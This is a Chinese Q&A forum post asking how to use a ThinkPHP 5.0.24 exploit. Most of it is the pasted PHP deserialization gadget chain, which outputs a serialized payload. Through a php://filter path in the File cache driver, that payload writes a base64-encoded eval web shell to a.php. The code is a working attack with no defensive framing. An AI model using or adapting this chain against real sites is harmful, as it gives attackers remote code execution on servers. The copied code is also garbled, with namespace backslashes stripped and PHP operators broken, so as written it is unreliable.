不再打酱油的乔巴
2021-09-04 20:57
采纳率: 0%
浏览 27
已结题

ThinkPhp 5.0.24 exp 该如何使用

exp如下

php
namespace thinkprocesspipes {
    
    class Windows {
    
        private $files = [];

        public function __construct($files)
        {
    
            $this-files = [$files]; $file = thinkModel的子类new Pivot(); Model是抽象类
        }
    }
}

namespace think {
    
    abstract class Model{
    
        protected $append = [];
        protected $error = null;
        public $parent;

        function __construct($output, $modelRelation)
        {
    
            $this-parent = $output;  $this-parent= thinkconsoleOutput;
            $this-append = array(xxx=getError);     调用getError 返回this-error
            $this-error = $modelRelation;                $this-error 要为 relation类的子类,并且也是OnetoOne类的子类==HasOne
        }
    }
}

namespace thinkmodel{
    
    use thinkModel;
    class Pivot extends Model{
    
        function __construct($output, $modelRelation)
        {
    
            parent__construct($output, $modelRelation);
        }
    }
}

namespace thinkmodelrelation{
    
    class HasOne extends OneToOne {
    

    }
}
namespace thinkmodelrelation {
    
    abstract class OneToOne
    {
    
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        function __construct($query)
        {
    
            $this-selfRelation = 0;
            $this-query = $query;    $query指向Query
            $this-bindAttr = ['xxx']; $value值,作为call函数引用的第二变量
        }
    }
}

namespace thinkdb {
    
    class Query {
    
        protected $model;

        function __construct($model)
        {
    
            $this-model = $model; $this-model= thinkconsoleOutput;
        }
    }
}
namespace thinkconsole{
    
    class Output{
    
        private $handle;
        protected $styles;
        function __construct($handle)
        {
    
            $this-styles = ['getAttr'];
            $this-handle =$handle; $handle-thinksessiondriverMemcached
        }

    }
}
namespace thinksessiondriver {
    
    class Memcached
    {
    
        protected $handler;

        function __construct($handle)
        {
    
            $this-handler = $handle; $handle-thinkcachedriverFile
        }
    }
}

namespace thinkcachedriver {
    
    class File
    {
    
        protected $options=null;
        protected $tag;

        function __construct(){
    
            $this-options=[
                'expire' = 3600, 
                'cache_subdir' = false, 
                'prefix' = '', 
                'path'  = 'phpfilterconvert.iconv.utf-8.utf-7convert.base64-decoderesource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g..a.php',
                'data_compress' = false,
            ];
            $this-tag = 'xxx';
        }

    }
}

namespace {
    
    $Memcached = new thinksessiondriverMemcached(new thinkcachedriverFile());
    $Output = new thinkconsoleOutput($Memcached);
    $model = new thinkdbQuery($Output);
    $HasOne = new thinkmodelrelationHasOne($model);
    $window = new thinkprocesspipesWindows(new thinkmodelPivot($Output,$HasOne));
    echo serialize($window);
    echo base64_encode(serialize($window));
}

如题

  • 写回答
  • 好问题 提建议
  • 追加酬金
  • 关注问题
  • 邀请回答

相关推荐 更多相似问题